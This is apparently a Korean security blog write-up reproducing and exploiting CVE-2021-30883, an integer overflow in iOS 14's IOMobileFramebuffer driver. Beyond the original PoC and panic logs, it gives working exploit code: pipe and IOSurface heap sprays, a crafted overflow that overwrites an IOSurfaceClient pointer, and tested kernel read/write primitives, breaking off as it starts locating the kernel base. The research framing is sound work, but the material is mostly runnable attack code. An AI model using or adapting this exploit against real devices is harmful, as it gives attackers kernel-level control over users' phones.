콘텐츠로 건너뛰기

[실습] CVE-2021-30883 익스플로잇해보기 (iOS 14)

버그 알아보기 / 트리거 방법

이미 약 4년전에 Saar Ammar 보안 연구원께서 라이트업을 자세하게 적어두었지만, 직접 poc 코드를 실행시켜 눈으로 직접 확인해보려고 한다. 해당 취약점은 In the wild에서 사용된 적이 있었으며, iOS 15.0.2/14.8.1에서 패치되었다. 애플 A10X, A11, A12(X/Z), A13칩 기기에서만 취약점이 작동한다.

PoC 코드는 다음과 같다.

//
//  poc.c
//  iomfb_poc
//
//  Created by Saar Amar.
//

#include "poc.h"

io_connect_t get_iomfb_uc(void) {
    kern_return_t ret;
    io_connect_t shared_user_client_conn = MACH_PORT_NULL;
    int type = 0;
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                                       IOServiceMatching("AppleCLCD"));
    
    if(service == MACH_PORT_NULL) {
        printf("[-] failed to open service\n");
        return MACH_PORT_NULL;
    }
    
    printf("[*] AppleCLCD service: 0x%x\n", service);

    ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
    if(ret != KERN_SUCCESS) {
        printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
        return MACH_PORT_NULL;
    }
    
    printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
    
    return shared_user_client_conn;
}

void do_trigger(io_connect_t iomfb_uc) {
    kern_return_t ret = KERN_SUCCESS;
    size_t input_size = 0x180;
    
    uint64_t scalars[2] = { 0 };

    char *input = (char*)malloc(input_size);
    if (input == NULL) {
        perror("malloc input");
        return;
    }
    
    memset(input, 0x41, input_size);
    int *pArr = (int*)input;

    pArr[0] = 0x3;          // sub-sub selector
    pArr[1] = 0xffffffff;   // has to be non-zero
    pArr[2] = 0x40000001;   // #iterations in the outer loop (new_from_data)
    pArr[3] = 2;
    pArr[8] = 2;
    pArr[89] = 4;           // #iterations in the inner loop (set_table)
    
    /* each call trigger a flow with a lot of calls to set_table(), while
       each set_table() flow will do a loop of only 4 iterations*/
    for (size_t i = 0; i < 0x10000; ++i) {
        ret = IOConnectCallMethod(iomfb_uc, 78,
                            scalars, 2,
                            input, input_size,
                            NULL, NULL,
                            NULL, NULL);
    }

    if (ret != KERN_SUCCESS) {
        printf("s_set_block failed, ret == 0x%x --> %s\n", ret, mach_error_string(ret));
    } else {
        printf("success!\n");
    }
    
    free(input);
}

void poc(void) {
    io_connect_t iomfb_uc = get_iomfb_uc();
    if (iomfb_uc == MACH_PORT_NULL) {
       return;
    }
    
    do_trigger(iomfb_uc);
    
    // we don't reach here, but for completness
    IOServiceClose(iomfb_uc);
}

int main(void) {
    poc();
}

그리고 iOS 14.0 beta5 / QEMUAppleSilicon 환경에서 PoC를 트리거하면, IOMFB::TableCompensator::BilerpGainTable::new_from_data 함수에서 kalloc_ext 호출하는데, 여기서 kext.kalloc.80 존으로부터 커널메모리를 할당받을때에 패닉이 발생한다.

(lldb) c
Process 1 resuming
Process 1 stopped
* thread #2, stop reason = breakpoint 1.1
    frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic
kernel.research.iphone12b`panic:
->  0xfffffff0097db944 <+0>:  pacibsp 
    0xfffffff0097db948 <+4>:  sub    sp, sp, #0x20
    0xfffffff0097db94c <+8>:  stp    x29, x30, [sp, #0x10]
    0xfffffff0097db950 <+12>: add    x29, sp, #0x10
Target 0: (kernel.research.iphone12b) stopped.
(lldb) bt
* thread #2, stop reason = breakpoint 1.1
  * frame #0: 0xfffffff0097db944 kernel.research.iphone12b`panic
    frame #1: 0xfffffff008127ee4 kernel.research.iphone12b`zone_element_not_clear_panic + 60
    frame #2: 0xfffffff007a9156c kernel.research.iphone12b`zalloc_validate_element + 236
    frame #3: 0xfffffff007a94d34 kernel.research.iphone12b`zcache_alloc_from_cpu_cache + 292
    frame #4: 0xfffffff007a92d3c kernel.research.iphone12b`zalloc_ext + 60
    frame #5: 0xfffffff007a3bf74 kernel.research.iphone12b`kalloc_ext + 152
    frame #6: 0xfffffff009773fd4 kernel.research.iphone12b`IOMFB::TableCompensator::BilerpGainTable::new_from_data(IOMFBLUTTableState const*, int, unsigned int, int const*, int const*, int) + 192
    frame #7: 0xfffffff0097759a0 kernel.research.iphone12b`IOMFB::TempCompHandler::set(IOMFB_0D_Temp_State const*, unsigned int) + 1064
    frame #8: 0xfffffff0096de958 kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*)::$_1::operator()(OSObject*, void*, void*, void*, void*) const + 112
    frame #9: 0xfffffff0096de8dc kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*)::$_1::__invoke(OSObject*, void*, void*, void*, void*) + 64
    frame #10: 0xfffffff008050900 kernel.research.iphone12b`IOCommandGate::runAction(int (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*) + 220
    frame #11: 0xfffffff0096ddedc kernel.research.iphone12b`IOMFB::GateManager::runAction(IOMFBStatus (*)(OSObject*, void*, void*, void*, void*), void*, void*, void*, void*) + 340
    frame #12: 0xfffffff00979d8a0 kernel.research.iphone12b`IOMFB::PBTBlockHandler<IOMFB_0D_Temp_State>::set(void const*, unsigned long, unsigned long long const*, unsigned int, IOMFB::Gate*, void const*, unsigned int) const + 264
    frame #13: 0xfffffff0097c1994 kernel.research.iphone12b`IOMFB::PBTBlockMgr::exec(IOMFB_Parameter_Block_Type, IOMFB::PBTBlockMgr::Op, task*, void const*, IOMFBStatus (IOMFB::PBTBlockHandlerGeneric*, void*, unsigned int) block_pointer, bool) const + 432
    frame #14: 0xfffffff0097c1c00 kernel.research.iphone12b`IOMFB::PBTBlockMgr::set_block(task*, IOMFB_Parameter_Block_Type, void const*, unsigned long, unsigned long long const*, unsigned int, bool) const + 144
    frame #15: 0xfffffff0097bf3d0 kernel.research.iphone12b`UnifiedPipeline::set_block(task*, unsigned int, unsigned int, unsigned long long const*, unsigned int, unsigned char const*, unsigned long) + 28
    frame #16: 0xfffffff0096e29cc kernel.research.iphone12b`IOMobileFramebufferUserClient::s_set_block(IOMobileFramebufferUserClient*, void*, IOExternalMethodArguments*) + 312
    frame #17: 0xfffffff00808cb78 kernel.research.iphone12b`IOUserClient::externalMethod(unsigned int, IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*) + 612
    frame #18: 0xfffffff0096e141c kernel.research.iphone12b`IOMobileFramebufferUserClient::externalMethod(unsigned int, IOExternalMethodArguments*, IOExternalMethodDispatch*, OSObject*, void*) + 292
    frame #19: 0xfffffff00809a98c kernel.research.iphone12b`is_io_connect_method + 708
    frame #20: 0xfffffff007b25190 kernel.research.iphone12b`_Xio_connect_method + 408
    frame #21: 0xfffffff007a30e9c kernel.research.iphone12b`ipc_kobject_server + 752
    frame #22: 0xfffffff007a021d8 kernel.research.iphone12b`ipc_kmsg_send + 292
    frame #23: 0xfffffff007a1d810 kernel.research.iphone12b`mach_msg_overwrite_trap + 284
    frame #24: 0xfffffff007b4a434 kernel.research.iphone12b`mach_syscall + 396
    frame #25: 0xfffffff007b57094 kernel.research.iphone12b`sleh_synchronous + 1780
    frame #26: 0xfffffff00811c5f4 kernel.research.iphone12b`fleh_synchronous + 40
    frame #27: 0x00000001ae355224
    frame #28: 0x00000001af456ee4
    frame #29: 0x00000001af3dee18
    frame #30: 0x00000001002a4178
    frame #31: 0x00000001002a4238
    frame #32: 0x00000001002a4260
    frame #33: 0x00000001ae383e60

...
panic(cpu 1 caller 0xfffffff008127ee4): "Zone element 0xffffffe19ce185f0 was modified after free for zone kext.kalloc.80: " "Expected element to be cleared"
Debugger message: panic
Memory ID: 0x0
OS release type: Beta
OS version: 18A5351d
Kernel version: Darwin Kernel Version 20.0.0: Wed Aug 12 22:56:55 PDT 2020; root:xnu-7195.0.33~64/RELEASE_ARM64_T8030
Kernel UUID: FDDAF386-4EA2-35FC-8235-1F167AEFD6F3
iBoot version: ChefKiss QEMU Apple Silicon
secure boot?: YES
Paniclog version: 13
Kernel text base:  0xfffffff007004000
mach_absolute_time: 0x1c00bbfa
Epoch Time:        sec       usec
  Boot    : 0x694d496f 0x00079126
  Sleep   : 0x00000000 0x00000000
  Wake    : 0x00000000 0x00000000
  Calendar: 0x694d4980 0x000db633

Panicked task 0xffffffe19ccadf40: 75 pages, 1 threads: pid 124: CVE-2021-30883
...

커널 디버깅을 하면서 취약점 있는 함수까지 어떻게 도달되는지 살펴보자.

우선 함수 경로를 확인해보면, IOMobileFramebufferUserClient::s_set_block 를 호출시키기 위해 78번의 셀렉터를 사용한다.

ret = IOConnectCallMethod(iomfb_uc, 78, ...)

그리고 IOMFB::TempCompHandler::set 에서 case 3 구문으로 브랜치하기 위해 서브 셀럭터가 인풋으로 들어간다.

    pArr[0] = 0x3;          // sub-sub selector
    ...
    
    /* each call trigger a flow with a lot of calls to set_table(), while
       each set_table() flow will do a loop of only 4 iterations*/
    for (size_t i = 0; i < 0x10000; ++i) {
        ret = IOConnectCallMethod(iomfb_uc, 78,

IOMobileFramebufferUserClient::s_set_block 에서 IOMFB::TableCompensator::BilerpGainTable::new_from_data 취약점 있는 함수에 도달하기까지의 그림을 나타내자면 복잡하지만, 아래와 같다.

Drawing 2025-12-26 02.57.38.excalidraw.png

취약점이 있는 IOMFB::TableCompensator::BilerpGainTable::new_from_data 를 살펴보곘다.

커널을 할당할때에 여러 연산을 거쳐 할당받을 크기를 계산하고 operator new[] 를 호출하여 커널 메모리를 할당한다. operator new[]는 KHEAP_KEXT 타입으로 할당받는다. 문제는 여기서 해당 함수로 이어지는 호출 스택 어디에도 연산을 할때에 정수 오버플로우 검증이 존재하지 않는다는 점이다!

해당 연산을 수행할때 코드들 보면, v14, v15, a3 모두 인풋값으로 제어할 수 있으며, 최종적으로 0x44라는 정수 오버플로우를 낳게 만든다.

그런 다음, IOMFB::TableCompensator::BilerpGainTable::set_table를 호출하는데, 한번 살펴보자. 할당된 커널 영역에 사용자 데이터를 쓰는, wild-copy가 발생한다. 총 4번의 반복으로 값이 써지고 있으며 이 반복횟수 또한 제어가 가능하다.

IOMFB::TableCompensator::BilerpGainTable::new_from_data 후반부 코드에서는 총 0x40000001번 IOMFB::TableCompensator::BilerpGainTable::set_table 함수를 반복 호출시킴으로써 계속 wild-copy가 발생하도록 만든다.

그 결과, 0x44크기만큼 커널 메모리를 할당시켰지만, 28바이트만큼 더 써졌기 때문에 힙 오버플로우가 발생한다. (총 60바이트만큼 쓰임)

Drawing 2025-12-26 03.37.34.excalidraw.png

익스플로잇 (iOS 14.x)

1. 익스플로잇 아이디어

출처: https://github.com/potmdehex/slides/blob/main/Zer0Con_2022_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf

Zer0con 2022 발표자료를 통해 익스플로잇 방법에 대한 힌트를 얻었다. 바로, 힙 오버플로우 취약점을 통해 IOSurfaceClient 객체의 데이터를 임의로 제어하는 것이다.

Screenshot 2025-12-26 at 5.27.01 AM.png

해당 객체는 이전에 내가 작성한 “[실습] CVE-2021-30937(multicast_bytecopy) 이해하기 (macOS 12.0.1 / iOS 15)“ 라이트업을 보면 알겠지만, 커널 읽기/쓰기에 매우 중요한 요소이다. IOSurfaceClient 요소의 +0x40 위치(IOSurface 포인터)를 임의로 제어할 수 있기 때문에, 충분한 간접 참조 수준(indirection)이 있어 커널 임의 쓰기와 읽기 수행이 가능하다.

그렇기 때문에 IOSurfaceClient 요소의 +0x40 위치에는 우리가 데이터를 임의로 제어가능한 커널 주소로 덮어써야 한다.

pipe를 되도록 많이 생성하고 (커널 페이지 크기-1)만큼 write시키면 KHEAP_DATA_BUFFERS 타입으로 커널 메모리가 할당된다. 할당된 주소들을 프로파일링하고, 프로파일링된 주소로 덮자. 그러면 IOSurface 객체 대신에 할당된 여러 파이프 커널데이터 주소들 중 하나로 대신 가리키게 된다.

image.png

IOSurfaceClient 객체는 IOSurfaceClient::MetaClass::alloc 에서 KHEAP_KEXT 타입으로 커널 메모리를 할당받는다. 할당 크기는 152이므로, 정확히는 kext.kalloc.160 존으로부터 할당받는다.

OSObject *__fastcall IOSurfaceClient::MetaClass::alloc(IOSurfaceClient::MetaClass *this)
{
  OSObject *v1; // x19
  OSObject *v2; // x0

  v1 = (OSObject *)OSObject::operator new(152u);// kalloc from KHEAP_KEXT
  v2 = OSObject::OSObject(v1, &IOSurfaceClient::gMetaClass);
  v2->__vftable = (OSObject_vtbl *)&off_FFFFFFF0078319C8;
  v2[4].__vftable = 0;
  *(_QWORD *)&v2[4].retainCount = 0;
  OSMetaClass::instanceConstructed(&IOSurfaceClient::gMetaClass);
  return v1;
}

PoC 코드에서 pArr[2], pArr[89]의 값을 각각 0x40000000, 40으로 바꾸면 기존 커널 할당크기였던 0x44에서 0xa0(=160)으로 늘릴 수 있다.

시행착오로 값을 하나씩 바꾸면서 패닉 로그를 통해 커널 할당크기를 일일이 확인할 수도 있겠지만, 커널 디버깅을 통해 커널 할당크기가 어떻게 계산되는지 확인해보자.

...
    pArr[0] = 0x3;          // sub-sub selector
    pArr[1] = 0xffffffff;   // has to be non-zero
    pArr[2] = 0x40000000;   // #iterations in the outer loop (new_from_data)
    pArr[3] = 2;
    pArr[8] = 2;
    pArr[89] = 40;           // #iterations in the inner loop (set_table)
    
    /* each call trigger a flow with a lot of calls to set_table(), while
       each set_table() flow will do a loop of only 4 iterations*/
    for (size_t i = 0; i < 0x10000; ++i) {
        ret = IOConnectCallMethod(iomfb_uc, 78,
                            scalars, 2,
                            input, input_size,
                            NULL, NULL,
                            NULL, NULL);
    }
...

커널 할당크기는 아래 사진과 같이 계산되며,

>>> hex((12 * 40 * 0x40000000 + 4 * (40 + 0x40000000)) & 0xffffffff)
'0xa0'

160 크기의 할당 존을 넘어서서, 0x64바이트 임의로 더 원하는 데이터를 덮어쓸 수 있었다.

Drawing 2025-12-26 03.37.34.excalidraw 1.png

그리고 중요한 것은, IOSurfaceClient 요소의 +0x40 위치(IOSurface 포인터)를 임의로 제어하기 위해 input 데이터 중 어느 오프셋을 제어하느냐다.

*(uint64_t *)(input + 0x150), *(uint64_t *)(input + 0x158) 두 곳을 임의로 값을 넣어줬더니, 결과는 아래와 같았다.

160 크기의 할당받은 커널영역을 넘어선 다음의 160크기 존을 살펴보면, +0x40 위치에는 0x1339134085868788 값이 들어간다.

즉, *(uint64_t *)(input + 0x158)의 하위 4바이트값과 *(uint64_t *)(input + 0x150)의 하위 4바이트값이 들어간다.

    *(uint64_t *)(input + 0x150) = 0x8182838485868788;
    *(uint64_t *)(input + 0x158) = 0x1337133813391340;  // to control IOSurface ptr

[0xffffffe4cc610fa0+0x000] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA 
[0xffffffe4cc610fa0+0x010] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA 
[0xffffffe4cc610fa0+0x020] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA 
[0xffffffe4cc610fa0+0x030] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA 
[0xffffffe4cc610fa0+0x040] 88 87 86 85 40 13 39 13  38 13 37 13 41 41 41 41  |  [email protected] <--
[0xffffffe4cc610fa0+0x050] 41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA 
[0xffffffe4cc610fa0+0x060] 41 41 41 41 00 00 00 00  00 00 00 00 00 00 00 00  |  AAAA............ 

따라서 아래 코드로 +0x40 오프셋에 임의로 8바이트값을 컨트롤할 수 있었다.

    *(uint64_t *)(input + 0x150) = 0x8182838400000000 + ((KHEAP_DATA_MAPPABLE_LOC+0x10) & 0xffffffff);
    *(uint64_t *)(input + 0x158) = 0x1337133813391340;  
    *(uint64_t *)(input + 0x154) = KHEAP_DATA_MAPPABLE_LOC+0x10;

2. 파이프 스프레이하기 전 프로파일링

익스플로잇하기전에 먼저 파이프 스프레이에 의해 할당되는 커널주소들을 각각 얻어 프로파일링시켜야한다

파이프를 0x320갯수만큼 생성하고, 각 파이프마다 (0x4000-1)만큼 0x42값을 채운다. 그러면 내부적으로 data.kalloc.16384 (type: KHEAP_DATA_BUFFERS) 존으로부터 커널 메모리를 0x320번 할당시키는 셈이 된다.

int write_data_pipes(int *pipefds, int total_pipes, void* data, size_t data_sz) {
    void *pipebuf = malloc(kernel_page_size);
    bzero(pipebuf, kernel_page_size);

    memcpy(pipebuf, (void *)data, data_sz);
    for (int i = 0; i < total_pipes; i++)
    {
        int rfd = pipefds[2 * i];
        int wfd = pipefds[2 * i + 1];
        
        if(data_sz >= 0x3f10) {
            *(uint16_t *)(pipebuf + 0x3f04) = rfd;
            *(uint16_t *)(pipebuf + 0x3f06) = wfd;
        }

        size_t written = write(wfd, pipebuf, kernel_page_size - 1);
        
        if (written != kernel_page_size - 1)
        {
            total_pipes = i;
            printf("total_pipes is now: %d", total_pipes);
            break;
        }
    }

    free(pipebuf);

    return 0;
}

#if ENABLE_HELPER && PROFILLING_KHEAP_DATA_BUFFERS
int obtain_pipes_kaddr(int *pipefds, int total_pipes) {
    
    uint64_t p_fd = tfp0_kread64(proc_of_pid(getpid()) + off_p_pfd); 
    printf("p_fd = 0x%llx\n", p_fd);;
    uint64_t fd_ofiles = tfp0_kread64(p_fd);
    printf("fd_ofiles = 0x%llx\n", fd_ofiles);

    uint64_t last_pipe_base = 0;

    for (int i = 0; i < total_pipes; i++) {
        int rfd = pipefds[2 * i];
        uint64_t rpipe_fp = tfp0_kread64(fd_ofiles + rfd * 8);
        uint64_t r_fp_glob = tfp0_kread64(rpipe_fp + off_fp_fglob);
        uint64_t rpipe = tfp0_kread64(r_fp_glob + off_fg_data); 
        uint64_t pipe_base = tfp0_kread64(rpipe + off_pb_buffer); 
        printf("KHEAP_DATA_BUFFERS KALLOCATED ADDR = 0x%llx\n", pipe_base);
        
        last_pipe_base = pipe_base;
    }

    printf("[!] Try setting macro KHEAP_DATA_MAPPABLE_LOC to 0x%llx\n", last_pipe_base - (0x4000*(total_pipes / 2)));

    return 0;
}
#endif

...

int main(int argc, char *argv[], char *envp[]) {
    offsets_init();

#if ENABLE_HELPER
    if(init_tfp0() == KERN_SUCCESS) {
        printf("tfp0: 0x%" PRIx32 "\n", tfp0);

        int r = tfp0_get_kbase(&tfp0_kbase);
        printf("tfp0_get_kbase ret: %d, tfp0_kbase: 0x%llx, tfp0_kslide: 0x%llx\n", r, tfp0_kbase, tfp0_kslide);

        init_kexecute();
#endif

...

    increase_file_limit();
#if ENABLE_HELPER && PROFILLING_KHEAP_DATA_BUFFERS
    int total_pipes_ = 0x320;
    int *pipefds_ = create_pipes(total_pipes_);

    void *pipe_data_ = malloc(kernel_page_size);
    memset(pipe_data_, 0x42, kernel_page_size);
    write_data_pipes(pipefds_, total_pipes_, pipe_data_, kernel_page_size);

    obtain_pipes_kaddr(pipefds_, total_pipes_);

    close_pipes(pipefds_, total_pipes_, false, 0, 0);

    goto cleanup;
#endif
...

파이프의 할당된 커널 주소는 아래 그림과 같이 나타낼 수 있다.

kernproc에서 순회하여 여러 프로세스 들중에 익스플로잇하는 자기 프로세스(selfproc)인지 pid 값을 통해 확인한다. 그런 다음, proc 구조체의 p_fd 필드부터 순차적으로 접근하여 pipe_base까지 도달시킴으로써 파이프 할당주소를 가져올 수 있다.

Screenshot 2025-12-26 at 10.28.17 AM.png

checkra1n을 통해 탈옥하고, 파이프 스프레이를 통해 프로파일링 주소를 확인해본 결과 → 아이폰8 / iOS 14.4.2 기준으로 0xffffffe4ce978000 주소가 나왔다.

#define KHEAP_DATA_MAPPABLE_LOC 0xffffffe4ce978000

3. 파이프 스프레이

이제 본격적으로 익스플로잇하기 위해 파이프 스프레이를 진행한다. 예상대로라면, 파이프에 의해 할당된 여러 커널 주소 중 어느 한 곳이 0xffffffe4ce978000 주소를 가리키고 있을 것이다.

추후 손상된 IOSurface 객체인지 구분하기 위해 *(uint64_t *)(pipe_data + 0x10 + 0xC0)(KHEAP_DATA_MAPPABLE_LOC + 0x3f04) - 0x14 값을 쓴다. 그러면, IOSurface::get_use_count를 통해 KHEAP_DATA_MAPPABLE_LOC + 0x3f04 커널 주소로부터 값을 읽어올 수 있다.

그리고 write_data_pipes를 수행하는데, 해당 커널 주소로부터 읽힐때에 파이프의 파일 디스크립터값을 얻을 수 있도록 기록해두었다.

int write_data_pipes(int *pipefds, int total_pipes, void* data, size_t data_sz) {
    void *pipebuf = malloc(kernel_page_size);
    bzero(pipebuf, kernel_page_size);

    memcpy(pipebuf, (void *)data, data_sz);
    for (int i = 0; i < total_pipes; i++)
    {
        int rfd = pipefds[2 * i];
        int wfd = pipefds[2 * i + 1];
        
        if(data_sz >= 0x3f10) {
            *(uint16_t *)(pipebuf + 0x3f04) = rfd;
            *(uint16_t *)(pipebuf + 0x3f06) = wfd;
        }

        size_t written = write(wfd, pipebuf, kernel_page_size - 1);
        
        if (written != kernel_page_size - 1)
        {
            total_pipes = i;
            printf("total_pipes is now: %d", total_pipes);
            break;
        }
    }

    free(pipebuf);

    return 0;
}

int main(int argc, char *argv[], char *envp[]) {
  ...
    printf("Exploiting CVE-2021-30883 (first journey from poc to exploit by @wh1te4ever!)\n");

    // pipe spray
    int total_pipes = 0x320;
    int *pipefds = create_pipes(total_pipes);

    void *pipe_data = malloc(kernel_page_size);
    memset(pipe_data, 0x42, kernel_page_size);

    *(uint64_t *)(pipe_data + 0x10 + 0xC0) = (KHEAP_DATA_MAPPABLE_LOC + 0x3f04) - 0x14; //will be read by IOSurface::get_use_count, will read data from kernel addr(KHEAP_DATA_MAPPABLE_LOC + 0x3f04) 

    write_data_pipes(pipefds, total_pipes, pipe_data, kernel_page_size);
...

4. IOSurface 스프레이 / 구멍 뚫기

IOSurfaceRoot_create_surface_fast 를 여러번 호출하여 약 1600개의 IOSurfaceClient 객체를 할당시킨다.

IOSurfaceRoot_release_surface를 호출하여 IOSurfaceClients 배열들 중 사이사이에 할당된 IOSurfaceClient 객체를 할당해제하여 구멍을 뚫는다.

int main(int argc, char *argv[], char *envp[]) {
  ...
    // iosurface & iomfb
    mach_port_t iosurface_uc = IOSurfaceRoot_init();
    io_connect_t iomfb_uc = get_iomfb_uc();

    ...
    
    // spray IOSurface
    for (int i = 0; i < 0x1000; ++i)
    {
        uint32_t last_id = IOSurfaceRoot_create_surface_fast(iosurface_uc);
            gIOSurface_ids[gIOSurface_id_count] = last_id;
        gIOSurface_id_count++;
        if ((0x3400) <= (last_id * sizeof(uint64_t)))
        {
            break;
        }
    }

    // punch hole kext.kalloc.160, free! (heap fengshui)
    // Thanks @jaakerblom for release Zer0con 2022 slide, that gives me idea!
    uint32_t last_free_surfid = 0;
    for (int32_t surf_idx = 0; surf_idx < gIOSurface_id_count; surf_idx++)
    {
        if(surf_idx >= 100 && surf_idx % 100 == 0) {
            IOSurfaceRoot_release_surface(iosurface_uc, gIOSurface_ids[surf_idx]);
            printf("release, iosurf_id = 0x%x\n", gIOSurface_ids[surf_idx]);
            last_free_surfid = gIOSurface_ids[surf_idx];
            gIOSurface_ids[surf_idx] = 0;
        }
    }
    ...

5. 취약점 트리거, 손상된 IOSurfaceClient 객체 찾기

trigger_vuln을 수행하면, kext.kalloc.160 존으로부터 커널 메모리 할당받는 것과 동시에 IOSurfaceClient 객체들 중 어느 하나가 +0x40 오프셋에 프로파일링된 KHEAP_DATA_MAPPABLE_LOC 주소로 덮힐 것이다.

마지막으로 할당해제된 surfid를 기점으로 surfid를 조금씩 점차 증가/감소시키면서, IOSurfaceRoot_get_surface_use_count 리턴값을 매번 확인하여 파이프 읽기/쓰기용 파일 디스크립터 값을 획득한다.

이제부터는 특정 IOSurfaceClient를 통해 커널 읽기/쓰기가 가능해진다.

int trigger_vuln(io_connect_t iomfb_uc) {

    //trigger oob write kext.kalloc.160
    //Thanks @AmarSaar for providing detail write-up and poc; https://github.com/saaramar/IOMFB_integer_overflow_poc
    kern_return_t ret = KERN_SUCCESS;
    size_t input_size = 0x180;
    
    uint64_t scalars[2] = { 0 };

    char *input = (char*)malloc(input_size);
    memset(input, 0x41, input_size);

    // control IOSurface ptr
    *(uint64_t *)(input + 0x150) = 0x8182838400000000 + ((KHEAP_DATA_MAPPABLE_LOC+0x10) & 0xffffffff);
    *(uint64_t *)(input + 0x158) = 0x1337133813391340;  
    *(uint64_t *)(input + 0x154) = KHEAP_DATA_MAPPABLE_LOC+0x10;

    int *pArr = (int*)input;
    pArr[0] = 0x3;          // sub-sub selector
    pArr[1] = 0xffffffff;   // has to be non-zero
    pArr[2] = 0x40000000;   // #iterations in the outer loop (new_from_data)
    pArr[3] = 2;
    pArr[8] = 2;
    pArr[89] = 40;        // #iterations in the inner loop (set_table)

    // do oob write to corrupt IOSurfaceClient
    ret = IOConnectCallMethod(iomfb_uc, 78,
                        scalars, 2,
                        input, input_size,
                        NULL, NULL,
                        NULL, NULL);
                    
    return 0;
}   
    
    
int main(int argc, char *argv[], char *envp[]) {
  ...
    
    trigger_vuln(iomfb_uc);

    // find out corrupted IOSurfaceClient's surf_id
    uint32_t krw_surf_id = 0;
    uint32_t krw_rfd = 0;
    uint32_t krw_wfd = 0;
    for (int i = 0; i < 50; i++)
    {
        uint32_t surf_id = last_free_surfid - i;
        uint32_t pipefd_leak = IOSurfaceRoot_get_surface_use_count(iosurface_uc, surf_id);
        if(pipefd_leak != 0) {
            krw_rfd = pipefd_leak & 0xffff;
            krw_wfd = (pipefd_leak >> 16) & 0xFFFF;
            printf("[+] Found corrupted IOSurfaceClient's surf_id = 0x%x\n", surf_id);
            printf("[+] pipefd_leak = 0x%x, krw_rfd = 0x%x, krw_wfd = 0x%x\n", pipefd_leak, krw_rfd, krw_wfd);

            krw_surf_id = surf_id;
            break;
        }
        
        surf_id = last_free_surfid + i;
        pipefd_leak = IOSurfaceRoot_get_surface_use_count(iosurface_uc, surf_id);
        if(pipefd_leak != 0) {
            krw_rfd = pipefd_leak & 0xffff;
            krw_wfd = (pipefd_leak >> 16) & 0xFFFF;
            printf("[+] Found corrupted IOSurfaceClient's surf_id = 0x%x\n", surf_id);
            printf("[+] pipefd_leak = 0x%x, krw_rfd = 0x%x, krw_wfd = 0x%x\n", pipefd_leak, krw_rfd, krw_wfd);

            krw_surf_id = surf_id;
            break;
        }
    }
    ...

6. 커널 읽기/쓰기 테스트

커널 읽기/쓰기용으로 사용되는 파이프를 제외한 모든 파이프들을 닫아주고, IOSurface에서 제공하는 셀럭터를 호출하여 커널 읽기/쓰기를 테스트해본다.

이미 설명했듯이, IOSurface 포인터를 제어했기 때문에, 충분한 간접 참조 수준(indirection)이 있어 커널 임의 쓰기와 읽기가 가능하다.

int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)
{
    _uc = uc;
    _surf_id = surf_id;
    _read_pipe = read_pipe;
    _write_pipe = write_pipe;
    
    return 0;
}

uint32_t kread32(uint64_t kaddr)
{
    uint8_t buf[kernel_page_size];
    
    read(_read_pipe, buf, kernel_page_size-1);
    
    *(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0x14;
    
    write(_write_pipe, buf, kernel_page_size-1);
    
    return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);
}

uint64_t kread64(uint64_t kaddr)
{
    uint8_t b[8];
    
    *(uint32_t *)b = kread32(kaddr);
    *(uint32_t *)(b + 4) = kread32(kaddr + 4);
    
    return *(uint64_t *)b;
}

void kwrite64(uint64_t kaddr, uint64_t val)
{
    uint8_t buf[kernel_page_size];
    
    read(_read_pipe, buf, kernel_page_size-1);
    
    *(uint64_t *)(buf + 0x10 + 0x360) = kaddr; // See IOSurface::setIndexedTimestamp
    
    write(_write_pipe, buf, kernel_page_size-1);
    
    IOSurfaceRoot_set_indexed_timestamp(_uc, _surf_id, val);
}

...

int main(int argc, char *argv[], char *envp[]) {
  ...

    //close all pipe except krw related
    close_pipes(pipefds, total_pipes, true, krw_rfd, krw_wfd);

    //check if krw works
    kernel_rw_init(iosurface_uc, krw_surf_id, krw_rfd, krw_wfd);

    // Is kread working?
    uint64_t kaddr = KHEAP_DATA_MAPPABLE_LOC + 0x2000;
    uint64_t val = kread64(kaddr);
    printf("kaddr: 0x%llx -> val: 0x%llx\n", kaddr, val);
    if(val != 0x4242424242424242) {
        printf("kernel read failed! :(\n");
        spinning();
    }

    // Is kwrite working?
    printf("Writing 0xcafebabe13371338 to kaddr(=0x%llx)\n", kaddr);
    kwrite64(kaddr, 0xcafebabe13371338);
    val = kread64(kaddr);
    printf("kaddr: 0x%llx -> val: 0x%llx\n", kaddr, val);
    if(val != 0xcafebabe13371338) {
        printf("kernel write failed! :(\n");
        spinning();
    }
    printf("Confirmed working kernel read/write!\n");
    ...

7. 커널 베이스 구하기

포트 메시지를 할당시키는데, 이때는 KHEAP_DATA_BUFFERS 타입으로 할당된다. 포트 메시지를 0x2a00번만큼 여러번 스프레이한다면, KHEAP_DATA_MAPPABLE_LOC를 기점으로 높은 주소 어딘가에 여러 포트 메시지들 중 어느 하나가 할당되있을것이다. 이를 통해 ikm_header 구조체 주소를 얻을 수 있다.

해당 구조체에서 출발하여 msgh_remote_port, data.receiver, is_task 필드를 단계적으로 접근하여 현재 실행중인 자기 자신 프로세스의 task 주소를 획득한다.

이후엔 포트 주소를 가져오는 것이 가능하므로, IOSurfaceRootUserClient 객체부터 구조체 필드에 차례로 접근하여 vtable에 접근한다.

